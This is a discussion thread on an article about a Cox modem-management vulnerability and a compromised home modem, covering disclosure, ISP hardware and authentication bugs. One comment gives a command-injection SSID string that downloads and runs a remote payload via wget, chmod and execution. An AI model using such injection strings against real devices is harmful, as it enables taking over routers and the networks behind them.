10 ms·
Hacking millions of modems and investigating who hacked my modem
- worewood 2y agoNot trusting the modems we're given is a damn good reason to use a VPN, as opposed to the market bulsshsait the VPN companies usually propagate
- phs318u 2y agoWhat a great article. Very easy to follow. The best part was that instead of attacking the messenger and denying any problem, Cox seem to have acted like the very model of responsible security response in this kind of situation. I'd love to read a follow up on what the bug was that intermittently permitted unauthorised access to the APIs. It's the kind of error that could easily be missed by superficial testing or depending on the reason behind the bug, perhaps not even experienced in the test environment.
- p0seidon 2y agoTotally agree, an easy read and a great reaction by Cox. I also like that the discovery and the bug itself were not communicated in a negative or condescending way, which is sometimes the case.
- senectus1 2y agoagreed, lets hope they dont bloody sue him into the ground for "hacking" Its stuff like this that company's should REWARD people for finding.
- imadr 2y agoI assumed they offered a bounty for bug disclosure? You mean to tell me that an internet provider with 11 billion in revenue can't pay someone that found a bug impacting all their clients? Frankly he could have just sold the vulnerability to the highest bidder
- cqqxo4zV46cp 2y agoDon’t frame a company not parting ways with money that they could hypothetically part ways with as being unusually egregious. That’s never how it works. Not every conversation needs overstated outrage.
- teruakohatu 2y agoThey do not: > Cox does not offer a bounty program or provide compensation in exchange for security vulnerability submissions. https://www.cox.com/aboutus/policies/cox-security-responsible-disclosure-policy.html https://www.cox.com/aboutus/policies/cox-security-responsibl...
- tetha 2y agoMh, we have a similar thing on our website at work, but people who found serious issues still got compensated. One big reason to put this out there: Otherwise you get so many drive-by disclosures. Throw ZAP at the domain, copy all of the low and informational topics into a mail at security@domain and ask for a hundred bucks. Just sifting through that nonsense eventually takes up significant time. If you can just answer that with a link to this statement it becomes easier. It makes me a bit sad that this might scare off some motivated, well natured newbs poking at our API, but the spam drowned them out.
- unclebucknasty 2y ago>...can't pay someone that found a bug impacting all their clients?...he could have just sold the vulnerability to the highest bidder This attitude is why "independent security researchers" offering to present unsolicited findings to companies in exchange for payment feels exactly like extortion.
- zdimension 2y agoAt the same time, Cox is a commercial entity that makes money by providing services. Cyberattacks make them lose money, so it's only fair for them to financially award people that responsibly inform them of vulnerabilities instead of easily and anonymously selling those. We're not talking about a grandma losing her wallet with 50 bucks in it and not giving money to the guy that found it and gave her back.
- acdha 2y agoThey have a pretty good looking responsible disclosure program which I’m assuming he checked first - it’d be surprising for someone who works in the field not to have that same concern: https://www.cox.com/aboutus/policies/cox-security-responsible-disclosure-policy.html https://www.cox.com/aboutus/policies/cox-security-responsibl...
- webninja 2y agoYeah let’s hope that they don’t prosecute him under the CFAA. He saved the FBI and untold others. He’s a hero.
- gediz 2y ago[dead]
- randomcarbloke 2y agoit's good but the constant use of "super" was a little off-putting, "super curious", "super interesting", "super interested", etc.
- pfdietz 2y agoSuper off-putting, you mean.
- armada651 2y agoThere were 4 occurrences of the word "super" in an article with more than four thousand words in it, there is no need for "etc." you quoted all the occurrences since "super curious" was used twice.
- shermantanktop 2y agoI guess that reader is super sensitive.
- randomcarbloke 2y agoOnce was enough.
- sgerenser 2y agoIMHO, your comment is super nitpicky.
- randomcarbloke 2y agoYou're goddamn right.
- oasisbob 2y ago> Cox seem to have acted like the very model of responsible security response in this kind of situation It's hard to imagine, but I wish they would have taken advantage of him walking in with the compromised device in the first place. I once stumbled upon a really bad vulnerability in a traditional telco provider, and the amount of work it took to get them to pay attention when only having the front door available was staggering. Took dedicated attempts over about a week to get in touch with the right people - their support org was completely ineffective at escalating the issue. Cox's support organization was presented with a compromised device being handed to them by an infosec professional, and they couldn't handle it effectively at all.
- tw04 2y ago> Cox's support organization was presented with a compromised device being handed to them by an infosec professional, and they couldn't handle it effectively at all. He probably should have gone the responsible disclosure route with the modem too. Do you really expect a minimum wage front desk worker to be able to determine what’s a potential major security flaw, and what’s a random idiot who thinks his modem is broken because “modern warfare is slow”?
- oasisbob 2y agoI would expect a front-desk worker to be trained to escalate issues within the org, and supported in doing so.
- deleted 2y ago[deleted]
- thrwaway1985882 2y agoHave you ever worked as a front-line support agent? I'm guessing not. I have many years ago, and for an ISP too. If I bought an Amazon share back then for every time a customer called support because they were "hacked", I'd not be posting here during a boring meeting because I'd own my own private island. The two best conversations I can recall were when we changed a customer's email address about a half dozen times over a year because "hackers were getting in and sending them emails" (internal customer note: stop signing up for porn sites), and a customer's computer could barely browse the web because they were running about 5 software firewalls because they were "under surveillance by the NSA" (internal customer note: schizophrenia). The expected value of processing requests like this any way other than patting the reporter on their head and assuring them the company will research it, then sending them along their way with a new device while chucking the old one in the "reflash" pile isn't just zero, it's sharply negative. The author's mistake was not posting somewhere like NANOG or Full-Disclosure with a detailed write-up. The right circles would've seen it, the detailed write-up would've revealed that the author wasn't an idiot or paranoid, and the popped device might've been researched.
- ImPostingOnHN 2y ago> I'd love to read a follow up on what the bug was that intermittently permitted unauthorised access to the APIs I would, too. Not sure we will ever learn. Maybe a load balancer config that inadvertently included "test" backends which didn't check authorization?
- thecodemonkey 2y agoIt's easy to hate on big companies. But can we just applaud Cox for having patched this within a day? That's incredible.
- choilive 2y agoThat was the most shocking part of the entire article! Unfortunate this vuln existed but clearly engineers there have enough teeth to get stuff done.
- flafla2 2y agoAgreed. Bugs happen, bug fixes don’t always happen (especially quickly) That being said, we could all do with a bit more input sanitization, and I hope Cox learned their lesson here.
- pera 2y agoTo be honest I would be very surprised if this was Cox as an organization and not just one or two very passionate workers who understood the severity of the issue and stayed after hours fixing it for free.
- nsbk 2y agoSeems more like a configuration error. Load balancer balancing over a few hosts, one of them missconfigured. Most likely over 2 hosts given the 50/50 success ratio of the intruder test. If that’s the case then it’s easy to fix in such timeframe
- fellerts 2y agoGreat read, I loved following your thought process as you kept digging. At what point did you inform Cox about your findings? It doesn't sound like you were ever given the green light to poke at their management platform. Isn't work like this legally dubious, even if it is done purely in white-hat fashion?
- harisec 2y agoCox has a vulnerability disclosure program. https://www.cox.com/aboutus/policies/cox-security-responsible-disclosure-policy.html https://www.cox.com/aboutus/policies/cox-security-responsibl...
- deleted 2y ago[deleted]
- mavamaarten 2y agoWhat sort of authentication system just lets calls through randomly sometimes... The incompetence!
- taspeotis 2y agoDiscovered this in a vendor’s API. They registered the current user provider as singleton rather than per-request. So periodically you could ride on the coat-tails of an authenticated user.
- VBprogrammer 2y agoI once seen a bug in a Django App which caused similar issues. Basically the app often returned a HTTP no content for successful calls from AJAX requests. So someone had DRYed that by having a global NoContentResponse in the file. The problem was that at some point in the Django middleware the users session token got affixed to the response - effectively logging anyone from that point on in as another user.
- internetter 2y agoThis is ridiculously easy to do inside scripting languages like javascript function foo(token: string) {} function bar(token: string) {} function baz(token: string) {} // hmm, this is annoying let token; .get((req) => { token = req.data.headers.token } function foo() {} It is even possible to do it by "accident" with only subtly more complicated code! I constantly see secrets leak to the frontend because a company is bundling their backend and frontend together and using their frontend as a proxy. This lack of separation of concerns leads to a very easy exploit: If I'm using, say, Next.js, and I want access to the request throughout the frontend, I should use context. Next even provides this context for you (though honestly even this is really really scary), but before my code was isomorphic I could just assign it to a variable and access that. At least in regards to the scaryness of the next provided global context, at least now node has AsyncLocalStorage which properly manages scoping, but plenty of legacy... The entire ecosystem is awful. From my distrust in bundlers, I'm now fuzzing within CI for auth issues. Hitting the server 10k times as fast as possible from two different users and ensuring that there is no mixup. Also, scanning the client bundle for secrets. I haven't had an issue yet, but I've watched these things happen regularly and I know that this sort of test is not common
- megous 2y agoOne of the reasons to not be excited about ISP provided cable modems with WiFi functionality and to have good endpoint/service security on your LAN. (TLS, DNS over TLS at least accross the modem/ISP) I just put it in bridge mode, disable wifi, and all network functionality is served by my own devices. The last modem I rented from ISP, the ISP didn't bother with any firmware updates for ~10 years. It was rock stable because of that, though. :)
- phh 2y agoCounterpoint: ISP with over 1M customers have the incentives of upgrading their HGW "forever" to reduce Capex. My employer (Free, French ISP also shipping HGW to Italia as Iliad) still upgrade their HGW released in 2011 (though if you have yours dating back from 2011, have it replaced (your oled screen is probably dead ;) to get more recent wifi cards). It runs a modern Linux 6.4. You get modern nifties like airtime QoS, got upgraded mobile apps if you wish, and uh lots of software features.
- distances 2y agoIn Germany one of the more popular modem/router/wifi devices among ISPs is FritzBox. You can also buy these devices yourself, which gives you both: you're using your own hardware instead of renting, and you benefit from long support thanks to aligning incentives from their big customers.
- mschuster91 2y agoFritzBox are also very famous for getting service on lines where other vendors will just crap out. Their chipsets and tunings are top-notch. In addition, the backwards compatibility is amazing. It's 2024, and to my knowledge most of their models still support pulse dialling on the analog telephone frontend.
- tecleandor 2y agoAlthough expensive, they've always had good fame (and I even had a friend working from them years ago), but something "funny" was going on with their routers some months ago... https://news.ycombinator.com/item?id=40106336 https://news.ycombinator.com/item?id=40106336
- jokoon 2y agoI remember creating some webserver at work years ago, and I saw a router querying it. I warned the company admin. Also, my wifi firmware occasionally crashes and needs to be restarted. I don't work in cyber security or on anything sensitive, but if I was told I'm under surveillance by some government or some criminal, I would not be surprised.
- jokoon 2y agoWhat were those fbi redacted things? Were those backdoors?
- wouldbecouldbe 2y agoThis is seems like a huge vulnerability, are there any legal repercussion that happens in those situations?
- uyzstvqs 2y agoI hope not. Companies would close their responsible disclosure programs as a liability issue. Everything would be less secure because of such legal protections.
- hifromwork 2y agoAgreed. On the other hand, there should be legal repercussions if the vulnerability was found exploited in the wild (in Europe this is partially handled by GDPR, but AFAIK only if it can be shown that personal data is affected - not a lawyer obviously). This aligns incentives nicely: * Company creates a responsible disclosure program, users/researchers report problems for money/blog post fame, users are secure. Also security team becomes more important, because vulnerabilities cost (more) actual money. * Or company doesn't create a responsible disclosure program, someone exploits the bug in the wild, users are angry and the company is fined.
- zaptrem 2y agoWhy do y’all think the attacker was replying all of his requests? Could they be probing for unintentionally exposed endpoints themselves?
- walterbell 2y agoOutsource cost/risk of reporting the vulnerability?
- voidUpdate 2y agoIf it was a request to a bank, say, it could have included all the cookies and tokens that would allow the request to go through successfully, and the attacker would gain access to their bank page (though if it was something super high security, you'd hope it would have single use tokens and stuff)
- cjbprime 2y agoA request to a bank that doesn't use TLS would be near-criminal negligence (by the bank) in itself. If the request does use TLS, then even a compromised router should be unable to decrypt it. TLS is end-to-end encryption. If the request doesn't use TLS, then the compromised router can already see the request and response that it is relaying. So why does it have to replay the request from somewhere else? It can just exfiltrate the session back to the attacker silently, without replaying it first. == If I had to guess, the attacker isn't sure what they're looking for in the HTTP sessions, so they can't push a detection for interesting sessions down to the compromised routers, and they also don't have the bandwidth to simply receive all unencrypted traffic from their router botnet, so instead they're collecting the URLs and building up a list of detection patterns over time through scanning and using heuristics for which requests are worth investigating, something like that?
- deleted 2y ago[deleted]
- 8organicbits 2y agoThat's a good guess. Test systems often don't use HTTPS. Test systems often have credentials that work in production (even though they shouldn't), or are useful for finding vulnerabilities in production.
- rwmj 2y ago> After reporting the vulnerability to Cox, they investigated if the specific vector had ever been maliciously exploited in the past and found no history of abuse Would you trust a thing they say? It seems their whole network is swiss cheese.
- fragmede 2y agothis is why everything gets logged to an S3 bucket under an AWS account that has only write permissions and three people are required to break into the account that can do anything else with that bucket. I don't know if that's what Cox has, but that's how it's architect it to be able to claim there's no history of abuse.
- rwmj 2y agoThat's how it should be architected, but the article shows that Cox's network gives no thought to security so it's unlikely how it is architected. Even if the Cox answer is correct to the best of their knowledge, we can't rule out that attackers are inside the network wiping out their logs.
- djaykay 2y agoYou’re right, except I’d say that Cox gave some thought so security, but not enough. Which is in some ways even more dangerous than ignoring security entirely.
- randomcarbloke 2y agoif they say not, does that imply another vector that they may or may not know about given the author had already found a compromised device.
- prettyStandard 2y agoThat was my first thought. That they didn't even find the original attack vector. But comments above this suggest something even worse they are in Cox's network actively wiping out their own logs.
- wiz21c 2y agopage is now 404 :-/
- biosboiii 2y agoHoly hell, but how are your laws in the US aligned so doing something like this is okay? In Germany you would get minimum 3 years in jail for this, people got in front of court for way way way way less.
- cjbprime 2y agoFor the researcher? Because the vendor has a responsible disclosure program. Because they'd rather know about the bugs. (As for the vendor, I'm sympathetic to the argument that there should be vendor liability under some circumstances.)
- biosboiii 2y agoIn Germany it is common for vendors to acknowledge the security flaw you send to them, but if you want to publish it (and damage their reputation by doing so) they are going to try you in court, and win. Sometimes they even try you in court if you don't publish it (yet)
- hifromwork 2y agoTo be fair, Germany is unusually harsh on security researchers. As far as I know (but German law is not my forte) there's no exclusion for "ethical hacking". I remember reading about many German cases that went like: * A security researcher discovers that the main database of some service is available publicly with default password * They notify the company * They get sued for unauthorized access to the company's data This wouldn't happen in my (also European) jurisdiction, because as long as your intention is to fix the vulnerability you found, and you notify the company about the problem, you're in the clear.
- sandreas 2y agoThat's why I would never do this Kind of research from my home Internet and don't send any responsible disclosure from my private email. There is no reason to give any information but details about the security issue...
- daneel_w 2y ago> "...and found no history of abuse..." Because they didn't have enough logging or auditing to start with, or no logs or audit data left since the hack.
- tuetuopay 2y agofrom what I can gather from the post, the specific attack vector using "retry unauthorized requests until they are" is very easy to spot in logs. so even the most basic log policy that logs the path, ip, and status code is enough (i.e. default in most web servers and frameworks)
- JKCalhoun 2y agoOr they lied. I mean, if you think about it from Cox's point of view — why would you disclose to someone outside the company if there had been history of abuse? Why would you disclose anything at all in fact?
- redbar0n 2y ago«Absence of evidence is not evidence of absence», seems to apply here.
- psd1 2y agoI see arguments in favour of tr069, but it's the mechanism that BT used to reboot my modem every night at 3am. I hate ISPs.
- Heidaradar 2y agoI love how well he explains it, even to someone like me who knows p much nothing about cybersecurity.
- em1sar 2y ago[dead]
- longsword 2y agoi'm really glad that i can use my own modem. In germany every ISP is by law required to accept self brought modems. They can't force you to use their often shitty hardware. My current modem/router is up for 3 months without a single interruption to my connection.
- nness 2y agoI've noticed it gets quite murky when dealing with fibre-to-the-premises, particularly in the UK. Although I don't think an ISP would disallow BYOD, I imagine they'd just not be as likely to support it. I recently moved ISP, partly because of cost, but also because they offered a great home router as part of their bundle. The installer could not utilise any of the existing wiring in my house, had to be all drilled a second time... Conversely, my last ISP used some awful Nokia modem that barely supported any kind of routing or customisation and I picked them specifically because it was a rental and the fibre wiring had already been done. It's fairly common for ISP's in Australia to also give you a choice of BYOD or buying one of theirs. Usually you pay outright for the modem, however, so its yours to keep. That said, this is changing with the national fibre roll-out. But with ADSL being the de-facto choice, BYOD makes sense.
- vladvasiliu 2y ago> I've noticed it gets quite murky when dealing with fibre-to-the-premises, particularly in the UK. Although I don't think an ISP would disallow BYOD, I imagine they'd just not be as likely to support it. In France, I've noticed that some ISPs (Free for FTTH and SFR for FTTC + cable attached to the router) they'll offer the possibility of configuring the provided router in "bridge" mode, where you basically get the external IP to whichever equipment is hooked up to their router. I've also had FTTH with SFR, which have a separate device which terminates the optical connection (ONT) and speaks ethernet with the main router. I don't remember if the main router was able to work in bridge mode. It was possible to connect your own router to the ONT but you had to jump through hoops [0] to actually receive a working DHCP response. Bouygues also had the separate device for terminating the optical connection, connected via ethernet to the main router. The only catch was that it talked over vlan 100 for some reason, but other than that it was smooth sailing. I've never had Orange, but I hear it's a pain to replace the actual router with them. --- [0] IIRC you had to send some custom DHCP options pretending more or less to be an actual SFR router.
- arrty88 2y ago> One of the things I'll never understand was why the attacker was replaying my traffic? They were clearly in my network and could access everything without being detected, why replay all the HTTP requests? So odd. Did you determine if POSTs were replayed? As in, logging into accounts and sending payment info and account info?
- andrewstuart 2y ago>> Authenticate your access patterns. What does this mean?
- taink 2y agoOne of the things I'll never understand was why the attacker was replaying my traffic? They were clearly in my network and could access everything without being detected, why replay all the HTTP requests? So odd. I was thinking about this while reading. My guess is that the vulnerability was limited to reading incoming requests (to the modem) or something along those lines, not full control of the network. Replaying the requests is a good way to get both ends of the traffic if you can only access one. For instance, a login + password being authenticated. Just a thought! EDIT: I'd be hard-pressed to know how one could exploit this, given TLS would encrypt the requests. Maybe they're counting on using badly encrypted requests, encrypted with e.g. TLSv1.0?
- Bluecobra 2y agoWhat sucks about this situation is when your ISP forces you to use their modem or router. For example, I have AT&T fiber and it does some kind of 802.1X authentication with certificates to connect to their network. If they didn't do this, I could just plug any arbitrary device into the ONT. There are/were workarounds to this but I don't want to go through all those hoops to get online. Instead, I ended up disabling everything on the AT&T router and have my own router that I keep up to date plugged into that. Unbeknownst to me, the AT&T router could be hacked and I would never notice unless it was adversely affects my service. Thank god most things use HTTPS these days.
- DannyBee 2y agoFwiw: the hoops are automated these days if you are on xgspon. It's "plug in sfp+, upload firmware using web interface, enter equipment serial number" You can even skip step 2 depending on the sfp stick you use. The 802.1x state is not actually verified server side. The standard says modems should not pass traffic when 802.1x is required but not done. Most do anyway or can be changed to do so. AT&T side does not verify, and always passes traffic. That is what is happening under the covers.
- vel0city 2y agoThe CPE AT&T router potentially getting hacked doesn't make much difference if you have your own router between your network and the AT&T network. Even if we removed the AT&T CPE router, you'd still be connecting to a black box you don't control that could be hacked or doing any number of inspections on your traffic.
- batch12 2y agoIt does matter since it lets an attacker be between your network and the internet. If that black box is a modem- yes it could be hacked, but (maybe luckily for me) the providers I've used don't expose many services from the modem on the public interface so it's much more difficult to compromise. You'd either have to come from the docsis network or the client network.
- peter_d_sherman 2y agoObservation: The root of this problem is NOT because Cox's engineering practices lacked a comprehensive enough security review process to find and fix security vulnerabilities prior to them being discovered post deployment ("hindsight is always 20/20" as they say), but rather because there was (and still is) an Information Asymmetry between Cox and Cox's customers, i.e., in terms of complete knowledge of how Cox's devices actually work under the hood... Although, in fairness to Cox, this Information Asymmetry -- also exists between most companies that produce tech consumer goods and most tech consumers (i.e., is it really a big deal if most other big tech companies engage in the same practices?), with the occasional exception of the truly rare, completely transparent, 100% Open Source Hardware, 100% Open Source Software company... https://en.wikipedia.org/wiki/Information_asymmetry https://en.wikipedia.org/wiki/Information_asymmetry Anyway, a very interesting article!
- kn100 2y agoGreat read, and fantastic investigation. Also nice to see a story of some big corp not going nuclear on a security researcher. I can't say for certain, and the OP if they're here I'd love for you to validate this - but I'm not convinced requests to the local admin interface on these Nokia routers is properly authenticated. I know this because I recently was provisioned with one and found there were certain settings I could not change as a regular admin, and I was refused the super admin account by the ISP. turns out you could just inspector hack the page to undisable the fields and change the fields yourself, and the API would happily accept them. if this is the case, and an application can be running inside your network, it wouldn't be hard to compromise the router that way, but seems awfully specific!
- JKCalhoun 2y ago> Cox is the largest private broadband provider in the United States, the third-largest cable television provider, and the seventh largest telephone carrier in the country. They have millions of customers and are the most popular ISP in 10 states. That suggested to me that we shouldn't have ISPs that are this big. Cox is clearly a juicy target and a single vulnerability compromises, as an example from the article, even FBI field offices. > After reporting the vulnerability to Cox, they investigated if the specific vector had ever been maliciously exploited in the past and found no history of abuse Feel like author should have written "...they claimed to have investigated...".
- mh- 2y agoI think the author wrote it up factually. Readers can make their own inferences, but Cox did share with him that the service he exploited was only introduced in 2023. Which suggests the security team did do some investigating. I'm sure* they don't keep raw request logs around for 3+ years. I know what next steps I'd recommend, but even if they undertook those, they're not sharing that in the ticket. (just based on industry experience; no insider knowledge.)
- jahsome 2y agoThe point is the statementay or may not be accurate. From a journalistic perspective, unless Cox provided evidence or the author was able to otherwise independently verify the claim, it's a claim, not a fact. The comment is a good suggestion.
- amluto 2y agoSome CPE exposes an API on the LAN side, and some of these APIs aren’t protected against CSRF. I wonder whether the modem in question is vulnerable.
- mh- 2y agoBrowser security enhancements have made enumerating those a lot more difficult, but a quick google suggests there were still tricks to achieve DNS rebinding as recently as 2023. Very possible.
- amluto 2y agoI can probably guess a cable modem’s IP address and a crappy CPE router’s IP address in one guess each. Enumeration isn’t usually the problem.
- mrbluecoat 2y agoGreat article, but unfortunately a determined threat actor would just go to the source and get a remote job as a Cox technician to gain access to millions of routers to add to their botnet. A real solution by the ISP would be to implement a software (or, preferably, hardware) setting that prevents remote access by default unless explicitly enabled by the customer. That approach would slow a social engineering campaign and limit the scope of a hack like this.
- EligibleDecoy 2y agoMy bet on the replays was that the attacker misconfigured their payload or something and it was meant to replay command and control requests to obfuscate where the C2 server was
- sammy2255 2y agoNo payout?
- jfyi 2y agoIt can be inferred that the author is satisfied with that aspect of the transaction by their willingness to list things that they still felt unresolved at the end. They either were paid and think it's nobody's business or weren't and have no ideological reason for making a stink. For what it's worth, I sympathize with people who feel shafted for their work by large companies, but think it is a little silly to go looking for it.
- syngrog66 2y agoWARNING: nerd sniping. lol
- mannyv 2y agoThe intermittent auth thing in /profilesearch is a sign that they're round-robinning the servers and misconfigured one. Also, it looks like he hit a front-end API that drives the TR-069 backend. Changing the WiFi SSID is a long way from being able to "...execute commands on the device"
- axoltl 2y agoIs changing the WiFi SSID not executing a command on the device? It isn't _arbitrary_ commands (yet), but it's definitely executing _a_ command.
- mannyv 2y agoThat's not the kind of vulnerability that would have installed an exploit on their CPE.
- radlad 2y agoIt's impossible to say without knowing what commands were available. > This series of vulnerabilities demonstrated a way in which a fully external attacker with no prerequisites could've executed commands and modified the settings of millions of modems, accessed any business customer's PII, and gained essentially the same permissions of an ISP support team. But the author agrees that this wasn't the vulnerability that allowed access to their own modem: > After reporting the vulnerability to Cox, they investigated if the specific vector had ever been maliciously exploited in the past and found no history of abuse (the service I found the vulnerabilities in had gone live in 2023, while my device had been compromised in 2021). They had also informed me that they had no affiliation with the DigitalOcean IP address, meaning that the device had definitely been hacked, just not using the method disclosed in this blog post.
- milankragujevic 2y agoMaybe, maybe not. If the CPE is sufficiently poorly designed, it might be vulnerable to command injection attacks, so by changing the WiFi SSID to something like "'; wget http://bla/payload http://bla/payload -O /tmp/bla; chmod +x /tmp/bla; /tmp/bla; #" you could execute a command on the device. Alcatel's HH40V and HH41V as well as ZTE MF283+ LTE modems are a recent example I can remember where I got root SSH access by injecting commands from the admin WebUI.
- mannyv 2y agoAn open question is still: how were the attackers able to grab his HTTP traffic? Some CPEs have a cloud Wireshark-like capability for debugging. I'm not sure if those are even on the Cox production firmware images. Usually there's a set of firmware for production and a set for test (which obviously makes it hard to test for problems in production). I suppose Cox could do a check to see what firmware versions are out there. ISPs can auto-upgrade firmware that doesn't match a specific firmware revision, and this was a Cox modem so they probably have firmware for it. So if it was a debug firmware how did it get there and survive?
- ipython 2y agoalso, yet another reason I don't trust (and don't use) any ISP provided equipment. Remote administration from my ISP? No thank you.
- accrual 2y agoHow about putting the ISP supplied modem in a DMZ? Then the ISP could admin it all they want but still never touch the LAN.
- bennyp101 2y agoSo open it up to anyone? DMZ is an open target, not what you want to be doing.
- ipython 2y agoIt’s more about protecting your network against a potentially malicious device rather than protecting the device from attackers on the Internet. From that position, placing the isp device on a “DMZ” aka outside your own router/firewall, makes perfect sense.
- autoexec 2y agoThat's pretty much the way to go. Keep the ISP modem, but connect it to your own router/firewall and connect your devices to your hardware and not the ISP modem.
- stonks 2y agoMany routers require manual firmware updates. GL.iNet routers had several RCE (Remote Code Execution) vulnerabilities within the last 6 months. I advise you to have a quick look in your own router to ensure its not hacked, and possibly upgrade firmware. As a typical user the noticeable symptoms for me were: - internet speed noticeably slows down - WiFi signal drops and personal devices either don't see it, or struggle to connect. At the same time the router is still connected to the internet - router's internal admin page (192.168.8.1) stopped responding I imagine many users haven't updated their routers and thus may be hacked. In my case the hacker installed Pawns app from IPRoyal, which makes the router a proxy server and lets hacker and IPRoyal make money. The hacker also stole system logs containing information about who and when they use the device, whether any NAS is attached. They also had a reverse shell. Solution: 1. Upgrade firmware to ensure these vulnerabilities are patched. 2. Then wipe the router to remove the actual malware. 3. Then disable SSH access, e.g. for GL.iNet routers that's possible within the Luci dashboard. 4. Afterwards disable remote access to the router, e.g. by turning Dynamic DNS off in GL.iNet. If remote access is needed, consider Cloudflare Tunnel or Zero Trust or similar. There is also GoodCloud, ZeroTier, Tailscale, etc. I am not too sure what they all do and which one would be suitable for protected access remotely. If anyone has advice, I would appreciate a comment. Consider avoiding GL.iNet routers. They do not follow principle of least privilege (PoLP) - router runs processes using root user by default. SSH is also enabled by default (with root access), anyone can try to bruteforce in (10 symbol password consisting of [0-9A-Z] and possibly might be more predictable). I set mine to only allow ssh keys rather than a password to prevent that. Despite running OpenWrt they are actually running their own flavor of OpenWrt. So upgrading from OpenWrt 21.02 to 23.05 is not possible at the moment.
- daghamm 2y ago"As a typical user the noticeable symptoms for me were: - internet speed noticeably slows down - WiFi signal drops and..." Could also be the neighbours and their big microwave oven :)
- kernal 2y agoMoral of the story - never turn on remote access on your modem.
- cdaringe 2y agoNightmare fuel. Giant tech company, giant vuln. There’s so much to say, but more than anything Im just upset. The article and this dude are amazing. The exploit is not excusable.
- goshx 2y agoIt's unbelievable that Cox offers no compensation or reward for incredible work like this.
- underlogic 2y agoDid they *pay* him? He kind of saved them, tipped them off to a complete compromise of their security infrastructure which was not trivial to discover. Looks like he got nothing in return for "doing the right thing". How insulting is that? What is their perception of someone walking in to their offices with this essential information? I guarantee his self image and their perception are very different. They see an overly caffeinated attention seeking "nerd" just handed them a 300k exploit in exchange for a gold star and then they ran like smeg to cover their asses and take all the credit internally. He feels like superman, goes home to his basement apt, microwaves some noodles and writes a blogpost. This is a perfect example why you never, never report a 0day.
- downrightmike 2y agoIts Cox, probably lucky if they don't sue him for fixing their mistake
- underlogic 2y agoIt happens. This is the type of revelation where heads roll and a scapegoat is very useful for the CSO, general liability of the company and PR.
- Biganon 2y agoCox don't pay bounties.
- rtev 2y agoSam is a very famous security researcher, so I would be shocked if he wasn’t making upwards of $350,000 a year. These articles he writes make him a significant amount of money via reputation boost.
- codedokode 2y agoReplaying requests might be not a malicious attacker, but simply an ISP wishing to know and sell customer's interests.
- TooMuchOnMyMind 2y ago[flagged]
- Biganon 2y ago...are you okay?
- _benj 2y agoWow! I just what a high a security researcher would feel while performing this research and keep finding open doors! I wonder if it’s a mix of exhilaration and being terrified!
- __turbobrew__ 2y agoAnother reason to not use ISP provided hardware. I have never had issues using my own OpenBSD box as a router.
- TeMPOraL 2y agoGreat writeup. There's just one thing I don't get: the auth part. It seems the author managed to access protected endpoints without any auth, by just repeating the same request over and over until the endpoint randomly accepted it. The part that confuses me is, how could that possibly happen? What possible architecture could this system have to enable this specific failure mode? I struggle to think of anything, short of auth handling being a separate service injected between a load balancer and the API servers, and someone somehow forgot to include that in autoscaling config; but surely this is not how you do things, is it?
- Affric 2y agoTest server from early development put into production?
- definitelyauser 2y ago> how could that possibly happen? Global singleton shared across requests, instead of request scoped. 1. [Client 1/You] Auth/write to variable (failed). 2. [Client 2/ISP] Auth/write to variable (success). 3. Verify what the result was (success) A race condition combined with a global singleton can easily explain such behavior.
- spopejoy 2y agoThe article mentions Spring, although I couldn't see anything in the output that would tip me off (like massive java.lang.xxxException traces) ... plus I've seen other mentions of singletons in this discussion -- Are you describing some kind of server-side global object that statefully says a session/api key is "authenticated" and will then allow the request during that time frame? That seems like a bug you could drive container ships through. Yes I know saas s/w sucks out there but this would seem to at least be something an audit could easily flag.
- system2 2y agoIt was so fun to read this. I am also surprised COX hot patched it within a day.
- metadat 2y ago> there were about 700 different API calls.. That's more API endpoints than some first tier public clouds, wow. For a modem. Somebody wanted (and sorta deserves) promo.. But also not, because the whole platform turned out to be incredibly insecure! Egregious!!!
- webninja 2y agoAre there any creation of new laws or removal of hindering laws that would facilitate the fixing of these devastating security vulnerabilities?
- gianpaj 2y agoThis reminded me to turn off "privacy settings" to "keep your vehicle in good condition and observe the vehicle's health" on my Volvo XC40 after the mechanics asked me to turn it on yesterday during the yearly maintenance. I don't know if they can change some settings remotely, but I prefer to be cautious
- Namidairo 2y ago> Somehow, someone was intercepting and replaying the web traffic from likely every single device on my home network. Normally I'd laugh and assume device compromise but... The largest ISP in Australia (Telstra) got caught doing exactly this over a decade ago. People got extra paranoid when they noticed the originating IP was from Rackspace as opposed to within Telstra. Turned out to be a filter vendor scraping with dubious acceptance from customers. The ToS was quietly and promptly updated.
- lanrat 2y agoI observed very similar behavior a few years back when transferring files between two servers under my control on different parts of a large university network. We also initially thought we were the subject of a breach, but after the investigation we determined that the network's IDS was monitoring all traffic, and upon certain triggers, would make identical requests from external networks. We found a way to identify all other similar IDSs across the internet and even "weaponize" this behavior. We ended up writing a paper on it: https://ian.ucsd.edu/papers/cset2023_fireye.pdf https://ian.ucsd.edu/papers/cset2023_fireye.pdf